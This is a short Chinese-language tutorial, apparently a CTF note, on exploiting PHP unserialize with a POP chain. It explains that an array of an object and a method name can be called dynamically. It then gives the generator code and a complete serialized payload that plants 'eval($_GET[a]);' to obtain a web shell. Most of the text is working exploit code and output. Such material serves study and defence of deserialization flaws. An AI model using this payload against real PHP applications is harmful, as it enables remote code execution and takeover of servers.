存在这样两个类,找不到可以利用的__invoke时,如何获得shell
class a{
public $code;
public function __destruct()
{
$test=$this->code;
$test();
}
}
class b{
public $code;
public function getshell(){
eval($this->code);
}
}
php中可以动态调用函数
$a="phpinfo";
$a();
通过这种方式可以调用phpinfo函数,如何通过这种方式调用类中的函数,经过测试,数组方式可以调用类中函数
class test
{
public function aa()
{
echo "123";
}
}
$ar=array(new test(),"aa");
$ar();
调用成功,执行了aa函数
接下来利用方式就简单了,通过常规反序列化利用方式利用即可
class a{
public $code;
public function __destruct()
{
$test=$this->code;
$test();
}
}
class b{
public $code;
public function getInfo(){
eval($this->code);
}
}
$q=new a();
$w=new b();
$w->code="eval(\$_GET[a]);";
$q->code=array($w,"getInfo");
echo serialize($q);
获得序列化结果
O:1:"a":1:{s:4:"code";a:2:{i:0;O:1:"b":1:{s:4:"code";s:15:"eval($_GET[a]);";}i:1;s:7:"getInfo";}}
反序列化成功获得shell
?
|